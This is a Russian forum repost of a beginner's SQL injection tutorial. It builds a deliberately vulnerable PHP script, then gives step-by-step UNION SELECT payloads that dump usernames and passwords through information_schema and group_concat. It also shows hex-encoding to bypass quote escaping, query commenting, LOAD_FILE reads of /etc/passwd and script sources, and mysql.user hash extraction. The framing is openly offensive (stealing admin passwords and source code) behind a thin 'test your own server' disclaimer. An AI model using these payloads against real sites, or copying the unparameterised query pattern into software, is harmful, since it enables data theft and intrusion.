Многие из нас хотят этому научиться, вот мануал по которой учился я! С вас +
SQL-injection для новичков
Содержание:1. Введение
2. Как определить наличие SQL уязвимости
3. Тренировка на localhost-е
4. CREATE
5. INSERT
6. SELECT
7. Ещё некоторые SQL комманды
8. Php-cкрипт для работы с БД
9. UNION
10. Подбор кол-ва столбцов(ORDER BY)
11. version(),user(),database()
12. information_schema
13. group_concat()
14. К вопросу о шестнадцатеричных кодах
15. Узнавание названий схем, таблиц, колонок с помощью information_schema
16. Вытаскивание информации
17. Сложные запросы и комментирование остатка
18. Немного про файлы
19. Про то, куда вставлять
20. Послесловие
1. Введение:
В Интернете имеется достаточно большое кол-во статей по этой теме, но многие из них являются сильно устаревшими и относятся к тому периоду, когда кавычки не экранировались, а такого понятия как UNION ещё небыло...
Те же что не устаревшие, по большей части неполные и по этому трудны для понятия новичками, которые “совсем не в теме”.
В этой статье я попытался как можно понятнее и подробнее объяснить что это такое, Sql-injection, и показать как её проводить, используя UNION SELECT. В какой-то степени эта статья является обобщением и дополнением многих других.
Что такое SQL
SQL (Structured Query Language) – структурированный язык запросов.
Он используется для обращения к СУБД(Система Управления Базами Данных) с целью получения/изменения/удаления данных, существующих в базе.
В качестве примера, можно привести большинство форумов. При “заходе” в какую-нибудь тему мы передаём скрипту на сервере нечто вроде showthread=285.
Затем скрипт, используя полученные данные, производит запрос к СУБД, которая в свою очередь обращается к самой базе. Потом СУБД возвращает полученные данные, скрипту, который, обработав их,передаёт их в браузер.
SQL тут используется на стадии обращения скрипта к СУБД.
Упрощённое устройство реаляционных баз данных.
Наименьшей единицей в устройстве БД является поле(field). Поле, это грубо говоря – ячейка, в которой хранится собственно информация.
Поля объединяются в записи(record,row). Запись это аналог строки.
Так же каждое поле относится к какой-либо колонке(column). Например, колонка username, колонка password, колонка email итд.
Затем, записи объеденяются в таблицы(table). Каждая таблица имеет однотипные записи. Например, таблица users, в которой записаны имя пользователя, его пароль и адрес электронной почты.
Сами же таблицы хранятся в базах данных(database,schema).
http://www.hackzone....ers/18277/1.jpg [Изображение заблокировано. Пожалуйста, загрузите картинку на наш форум: http://forummaxi.ru/....php?app=ihost.]
Что такое SQL инъекция
Инъекция (от англ. Injection – введение,внедрение) это вставка произвольного SQL-кода в плохо фильтруемые параметры, которые используются в запросе к базе данных, с целью получения оттуда информации(например, пароля админа).
2. Как определить наличие SQL уязвимости
Самый, наверно, известный способ, это подстановка кавычки (‘) в запрос.
Например, forum.somesite.com/index.php?showthread=285’
Если имеется уязвимость, и ошибки не подавляются, то появится ошибка, например такого содержния
mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource.
Если же подавляются, то о наличии уязвимости может свидетельствовать пустой результат.
Еще один способ заключается в подставлении вместо числа арифметического выражении. Например, если
forum.somesite.com/index.php?showthread=285 и
forum.somesite.com/index.php?showthread=284+1
возвращают одну и ту же страницу, то вполне вероятно, что имеет место быть уязвимость.
Так же полезным может быть задание сортировки ORDER BY по 1-му столбцу, с комментированием остатка.(об этом ниже)
forum.somesite.com/index.php?showthread=285+ORDER+BY+1--+
forum.somesite.com/index.php?showthread=285+ORDER+BY+1/*
3. Тренировка на localhost-е
Чтобы самому попробовать SQL-инъекцию, надо на localhost-е (на своём компе) установить веб-сервер, php интерпретатор и саму СУБД(ставить лучше всего MySQL, т.к. она используется более чем на 70% сайтов).
Если ещё не установлены, то посмотрите здесь.
http://httpd.apache.org/
http://php.net
http://mysql.com
Процесс установки и настройки описывать не буду, поскольку ничего сложного нет, и к тому же мануал по этому поводу есть и в самих этих программах. Единственное, советую под винду, php не встраивать как модуль апача, а установить как CGI binary.
ScriptAlias /php/ "c:/php/"
AddType application/x-httpd-php .php
Action application/x-httpd-php "/php/php-cgi.exe"
Или сразу всё в комплекте да и на русском языке:
http://denwer.ru/
Итак, всё нужное установлено и настроено, запускаем MySQL Command Line Client, и вводим указанный при установке пароль.
4. CREATE
Создаём тестовую базу данных.
mysql> CREATE DATABASE test;
Затем переключаемся на неё
mysql> USE test;
Создаём 2 таблицы – users и pages
mysql> CREATE TABLE users (
-> username VARCHAR(32) NOT NULL,
-> password VARCHAR(32) NOT NULL,
-> email VARCHAR(48)
-> );
mysql> CREATE TABLE pages (
-> id SMALLINT NOT NULL AUTO_INCREMENT,
-> content TEXT NOT NULL,
-> PRIMARY KEY(id)
-> );
CREATE – как ясно из названия, что-то создаёт. Создавать он может либо DATABASE, принимая в качестве аргумента название новой базы, либо TABLE, тогда ему надо дать описание каждой колонки – название, тип, модификаторы а также ключи
Типы:
VARCHAR(x) – строка переменной длины, до x символов (не более 1FEh)
SMALLINT – целое число от -8000h до 7FFFh
TEXT – Текст до FFFFh символов(64 КБ)
Модификаторы:
NOT NULL – поле не может содержать неопределенного(NULL) значения и должно быть явно инициализовано.
AUTO_INCREMENT – автоматическое увеличение значения этого поля на единицу, при добавлении новой записи.
Ключ: PRIMARY KEY – значение поля, установленного в качестве первичного ключа, должно быть уникальным в своей колонке. Не применимо к полю, допускающему значение NULL
USE – переключает текущую базу данных. В качестве аргумента принимает её название.
5. INSERT
Затем набиваем созданные таблицы значениями
mysql> INSERT INTO users (username, password, email) VALUES
-> (‘admin’, ’qwerty’, ’admin@localhost’),
-> (‘lamer’, ’1234’, ’lamer@mail.ru’),
-> (‘hacker’, ’ef43f433$532’, ’hacker@hack.com’);
mysql> INSERT INTO pages (content)
-> VALUES (‘Page1’),(‘Page2’),(‘Page3’);
INSERT INTO – Добавляет в указанную таблицу новые записи.
Синтаксис:
INSERT INTO название_таблицы (колонки, в которые вставляются значения)
VALUES (Запись1),(Запись2), ... (ЗаписьN);
Если не указать колонку, имеющую модификатор NOT NULL, то произойдёт ошибка, и данные добавлены не будут.
В данном случае, колонка id , имеющая модификатор NOT NULL не указанна, но поскольку она имеет модификатор AUTO_INCREMENT, то значение в ней было установлено автоматически.
6. SELECT
Теперь можно посмотреть результат :
mysql> SELECT * FROM pages;
mysql> SELECT * FROM users;
SELECT – самый, наверное, важный оператор – выбирает из указанной таблицы данные из указанных столбцов
(* -- все столбцы). Попробуйте так:
SELECT username, email FROM users;
Будут выведены только колонки username и email.
----
WHERE – распространяет действие команды только на те записи, которые соответствуют условию. Например:
SELECT * FROM users WHERE username=’admin’;
OR\AND -- Объединение условий
OR – если выполняется хотя бы одно условие.
SELECT * FROM users WHERE username=’admin’ OR username=’hacker’;
AND – если выполняются все условия
SELECT * FROM users WHERE password=’1234’ AND email=’lamer@mail.ru’;
SELECT * FROM users WHERE username=’admin’ AND password=’ef43f433$532’
(Ничего не выведет, так как таких записей нет. (Empty set))
----
ORDER BY -- задаёт сортировку по столбцу(название или номер)
SELECT * FROM users ORDER BY username;
SELECT * FROM users ORDER BY 2;
----
LIMIT -- Выбирает в результирующую таблицу начиная со смещения k , N записей (LIMIT k,N)
SELECT * FROM users LIMIT 0,1;
SELECT * FROM users LIMIT 1,2;
Можно указать только кол-во записей. тогда смещение будет по дефолту равно 0.
SELECT * FROM users LIMIT 2;
7. Ещё некоторые SQL комманды
UPDATE -- обновление значений таблицы
Синтаксис:
UPDATE имя_таблицы
SET поле1='значение1',поле2='значение2',...,полеN='значениеN'
WHERE условие;
Например:
UPDATE users
SET password='123qwerty456'
WHERE username='admin';
----
DELETE -- удаление записи из таблицы.
Синтаксис:
DELETE FROM имя_таблицы
WHERE условие ;
Например DELETE FROM users WHERE username='lamer';
!Если не указать условие, то таблица будет полностью очищена!
----
DROP -- удаляет таблицу или базу данных, !в не зависимости от того, содержит ли она что-либо!
Синтаксис:
DROP [TABLE | DATABASE] имя
Например DROP TABLE testtable
8. Скрипт для работы с БД
Теперь сделаем php скрипт, который будет работать с базой данных.
<?php
$host='localhost';
$user='root';
$password=''; //Надо вставить пароль, указанный при установке MySQL
$database='test';
//Установка значений переменных
if (empty($_REQUEST['id'])) die ("404 Not Found");
//Если не получен параметр id, выдаём ошибку и завершаем работу.
$sql=mysql_connect($host, $user, $password);
//Установка соединения с СУБД.
mysql_select_db($database, $sql);
//Выбор базы данных.
$request="SELECT id,content FROM pages WHERE id=".$_REQUEST['id'];
//Составление запроса на получение поля с указанным id.
$sql_res=mysql_query($request, $sql);
//Отправка запроса. Запись результата в $result.
if (mysql_num_rows($sql_res)==0) die ("404 Not Found");
//Проверка результата. Если вернулось 0 строк, выдаём ошибку и завершаем работу.
$result=mysql_fetch_assoc($sql_res);
//Обработка результата, представление первой строки в виде ассоциативного массива.
mysql_close($sql);
//Закрытие соединения.
echo $result['content'];
//Вывод результата.
?>
Сохраняем скрипт как sql.php в папку для хтмл-документов, запускаем веб-сервер, открываем браузер и вводим в адресную строку:
http://localhost/sql.php?id=1
http://localhost/sql.php?id=2
http://localhost/sql.php?id=5
А теперь http://localhost/sql.php?id=1’
Что мы видим? А видим мы нечто вроде
Warning: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in С:\www\html\sql.php on line 11
Вот и SQL уязвимость в чистом виде. Почему так произошло?
Да потому, что введённые данные никак не фильтруются(кроме того, что кавычки и другие символы экранируются) и сразу передаются в СУБД.
MySQL попыталась выполнить запрос
SELECT * FROM pages WHERE id=2\’;
А поскольку 2\' не является SMALLINT, как было объявлено, возникает ошибка.
9. UNION
Теперь надо рассказать о такой прекрасной команде, как UNION.
UNION соединяет несколько результатов запросов в 1 таблицу.
SELECT 1,2 UNION SELECT 3,4;
Имена колонок, при этом берутся из первого запроса, даже если он возвращает 0 записей.
http://www.hackzone....ers/18277/3.jpg [Изображение заблокировано. Пожалуйста, загрузите картинку на наш форум: http://forummaxi.ru/....php?app=ihost.]Однако, для работы UNION запросы должны получать одинаковое кол-во столбцов.
Например:
SELECT 1,2,3 UNION SELECT 4,5;
Вызовет ошибку.
Так, же объеденяемые поля должны иметь одинаковый тип данных или быть совместимыми (например CHAR и VARCHAR, NULL конвертируется в любой тип).
10. Подбор кол-ва столбцов (ORDER BY)
Для проведения инъекции с использованием UNION надо подобрать количество столбцов, возвращаемых изначальным запросом. Самый простой способ подбора, это использование ORDER BY. Если мы задаём в качестве параметра число большее, чем кол-во колонок, то возникает ошибка. Переберать удобнее всего по 5.
http://localhost/sql...id=1 ORDER BY 5
http://localhost/sql...d=1 ORDER BY 10
Итд, пока не появится ошибка. У нас ошибка появится сразу, тк колонок меньше 5.
http://localhost/sql...id=1 ORDER BY 4
http://localhost/sql...id=1 ORDER BY 3
http://localhost/sql...id=1 ORDER BY 2
При 2 ошибка исчезает. Из того делаем вывод, что колонок -- 2.
Теперь смотрим, какое поле выводится. Для этого подставляем в запрос команду UNION , с подобранным числом колонок.
При этом в изначальный параметр ставим значение, которое заведомо вернёт 0 строк, для того чтобы в 1-ую строку попал наш, прикреплённый при помощи UNION запрос. Так же, можно использовать команду LIMIT, указав в качестве параметра 0.
http://localhost/sql...NION SELECT 1,2
http://localhost/sql...NION SELECT 1,2
При этом используется то свойство SQL, что числовой тип прекрасно преобразуется в любой другой.
А выводится у нас, как видно, поле 2.
http://www.hackzone....ers/18277/2.jpg [Изображение заблокировано. Пожалуйста, загрузите картинку на наш форум: http://forummaxi.ru/....php?app=ihost.]
Примечание: Может встретится ситуация, когда пробел фильтруется. Тогда можно использовать /**/ вместо +11. version(),user(),database()
Для начала, мы посмотрим с чем мы имеем дело от чьего имени действуем, и в какой базе данных находимся ,используя функции version(), user() и database()
http://localhost/sql...LECT 1,version()
http://localhost/sql... SELECT 1,user()
http://localhost/sql...ECT 1,database()
Вставлять запрос надо по возможности в поле с текстовым типом(чем длиннее, тем лучше), например сообщение на форуме или новость.
Если в version() выводится версия 5.*.** , то это очень хорошо, так как в MySQL начиная с 5-ой версии, согласно 4 правилу доктора Кодда, появилась такая прекрасная вещь, как information_schema , в которой находятся названия всех баз данных, таблиц и колонок.
Если же версия меньше 5-ой, то это не очень хорошо, т.к названия придётся подбирать. Для этого существуют специальные программы, которые найти несложно.
Хотя админы обычно не оригинальны, и их пароли как правило хранятся в таблице admin, имеющую колонки username и password.
12. information_schema
information_schema -- виртуальная база данных MySQL, содержащая, как ясно из названия, кучу всякой информации.
Таблицы и столбцы, содержащие названия баз данных, таблиц и колонок:
schemata – Таблица с названиями баз данных.
В ней колонка:
schemata_name – собственно само название
----
tables – Таблица с названиями таблицами
В ней колонки:
table_name – название таблицы
table_schema – база данных, к которой относится таблица
----
columns – Таблица с названиями колонок
В ней колонки:
column_name – название столбца
table_name – название таблицы, к которой относится столбец
table_schema – база данных, к которой относится таблица со столбцом
----
обращаться к этим таблицам надо соответственно
information_schema.schemata
information_schema.tables
information_schema.columns
(База.Таблица)
Поскольку в 1 поле выводится одно значение, чтобы просмотреть допустим сразу все имеющиеся записи, надо пользовать функцию group_concat().
13. group_concat()
group_concat() – функция, используемая для конкатенации(соединения) полученных результатов.
Синтаксис: group_concat(first,second,...,n)
Например: SELECT group_concat(1,0x3A,2);
0x3A – шестнадцатеричный код двоеточия.
Так же у функции есть параметр SEPARATOR, который задаёт разделитель при выводе записей (по умолчанию – запятая). Например:
SELECT group_concat(username,0x3A,password SEPARATOR 0x7C) FROM users;
(0x7С = |)
!Функция group_concat() возвращает поле с типом даных VARCHAR, при установках по умолчанию, имеющий максисальный размер 512 байт (в старых версиях mySQL 256 байт), это решается тем, что при исползовании UNION, при соеденении с полем типа TEXT или больше, VARCHAR конвертируется.
Единственный минус, это то, что для использования надо знать названия колонок(решается использованием information_schema).
Как вариант можно использовать функцию concat_ws(sep,first,second,...,n)14. К вопросу о шестнадцатеричных кодах
Их использование обуславливается экранированием кавычек. Если отправить скрипту строку ‘string’, то в СУБД она будет передана как \’string\’ , что вызовет ошибку.
По этому строки надо передавать в виде шестнадцатеричных кодов, либо используя функции преобразования типа Char() и CHR().
Однако, в некоторых местах использование функций недопустимо, а в виде шестнадцатеричного числа строка охотно принимается (хотя есть такие места, где не принимается ни то, ни другое, и приходится обломится).
Скрипты или утилиты, переводящие строку в шестнадцатеричное представление найти в инете или сделать самому весьма несложно. Те же, кому искать лень(или делать умеют), могут воспользоваться написанным мной.
<job id = string2Hex by Viglim>
<script language="VBScript">
Function WSHInputBox(Message,Title)
WSHInputBox = InputBox(Message,Title)
End Function
Function ToHex(num)
ToHex = Hex(num)
End Function
</script>
<script language="JScript">var source = WSHInputBox("Enter source text","String2Hex");
if (typeof(source) == "undefined" || source == "") WScript.Quit();
var Res = "0x";
for (i=0;i<source.length;i++) Res += ToHex(parseInt(source.charCodeAt(i)));
var out = WScript.CreateObject("Scripting.FileSystemObject").OpenTextFile("string2Hex.txt",8,true);
out.WriteLine(source+" -> "+Res);
out.Close();
</script>
</job>
Это надо забить в блокнот, сохранить под именем string2Hex.wsf и запустить.
Результат сохраняется в файл string2Hex.txt
15. Узнавание названий схем, таблиц, колонок с помощью information_schema
Так вот, что-бы узнать названия баз данных, делаем запрос
http://localhost/sql... SEPARATOR 0x0b)+FROM+information_schema.schemata
0x0b – это непечатный символ, который трактуется оперой(вроде, ещё firefox'ом) как переход на новую строку.
В других браузерах, для вывода в столбик надо использовать 0x3C62723E (<br>)
В ответе видим базы данных:
information_schema
mysql
test
information_schema и mysql это встроенные базы, а интересует нас база test
Кодируем test (без кавычек!) в шестнадцатеричный код (0x74657374) и делаем запрос на названия таблиц
http://localhost/sql... SEPARATOR 0x0b)+FROM+information_schema.tables+WHERE+table_schema=0x74657374
Получаем:
pages
users
pages нас мало интересует, поскольку их 'содержимое' мы и так можем посмотреть, а вот users это то, что надо.
Кодируем users(0x7573657273) и делаем запрос на названия колонок
http://localhost/sql... SEPARATOR 0x0b)+FROM+information_schema.columns+WHERE+table_schema=0x74657374+AND+table_name=0x7573657273
Получаем:
username
password
email
16. Вытаскивание информации
Вытаскиваем содержимое users
http://localhost/sql... SEPARATOR 0x0b)+FROM+test.users
http://www.hackzone....ers/18277/4.jpg [Изображение заблокировано. Пожалуйста, загрузите картинку на наш форум: http://forummaxi.ru/....php?app=ihost.]Либо просто берём пароль админа(admin, 0x61646D696E)
http://localhost/sql...me=0x61646D696E
http://www.hackzone....ers/18277/5.jpg [Изображение заблокировано. Пожалуйста, загрузите картинку на наш форум: http://forummaxi.ru/....php?app=ihost.]Кстати, возможно будет интересно попробовать произвести запрос
http://localhost/sql... SEPARATOR 0x0b)+FROM+mysql.user
с целью получить хэши паролей доступа к БД, которые расшифровать обычно особого труда не составляет, хотя обычно доступа к таблице mysql.user просто нету.
17. Сложные запросы и комментирование остатка
Очень часто может встретится проблема, когда запрос усложнён использованием команд, стоящих после параметра,скобок или ещё чегонибудь, что затрудняет инъектирование.
Например, "SELECT * FROM pages WHERE (id= $_REQUEST['id']) ORDER BY id LIMIT 0,1"
И при подстановке простого UNION SELECT произойдёт ошибка. Решается это подбором вариантов относительно скобок и комментированием остатка запроса.
В MySQL знаками комментирования являются:
-- (необходим хотя бы один пробел после использования, те --+)
/*
#
Тут, надо было бы делать запросы вроде:
http://localhost/sql.php?id=-1)+UNION+SELECT+1,2--+
http://localhost/sql.php?id=-1)+UNION+SELECT+1,group_concat(username,0x3A,password+SEPARATOR+0x0b)+FROM+test.users--+
В таком случае комманды, стоящие после инъекции, становятся комментарием и на результат запроса уже не влияют.
Так же, в некоторых случаях, остаток строки(на уровне php) можно отрезать при помощи %00 (NUL байт).
18. Немного про файлы
Если у пользователя, от имени которого ведется работа с БД имеются права file_priv то можно при помощи функции LOAD_FILE получить на просмотр содержимое произвольного файла.
http://localhost/sql...46573742E747874)
http://localhost/sql...32F706173737764)
(0x433A2F746573742E747874 = C:/test.txt ; 0x2F6574632F706173737764 = /etc/passwd)
Так же, можно вытащить сами файлы скриптов, на предмет паролей доступа к БД , нахождения там каких-либо других уязвимостей(например, PHP include) или же на предмет банального воровства исходников.
http://localhost/sql...F73716C2E706870)
(0x633A2F7777772F68746D6C2F73716C2E706870 = c:/www/html/sql.php)
Посмотреть можно будет в исходном коде вернувшейся страницы.
http://www.hackzone....ers/18277/6.jpg [Изображение заблокировано. Пожалуйста, загрузите картинку на наш форум: http://forummaxi.ru/....php?app=ihost.]19. Про то, куда вставлять(не подумайте чего лишнего)
А туда, через что передаются данные.
А передоваться они могут через:
GET - запросы. (т.е. часть ссылки), как это описанно в статье.
POST - запросы. Для их редактирования могу посоветовать аддон для firefox'a Live HTTP Headers или связку программ
SmartSniff + InetCrack.
HTTP_REFERER - Для его редактирования можно пользоваться тем же Live HTTP Headers.
Cookies - Инструмент для их редактирования есть в любом уважающем себя браузере.
20. Послесловие:
Помните 1-ую статью 'Конституции хакера', “не убей!” , и если нет особой надобности, ничего не удаляйте и не портите. (Хотя немного подшутить над админом можно , но это уже зависит от вашей фантазии).
Ну и конечно же, все должны понимать, что статья написана только для ознакомления и тестирования своего веб-сервера на предмет уязвимостей.
Любые комментарии приветствуются.
Копирование разрешается с оставлением копирайта и указанием ссылки на первоисточник.by madeRUS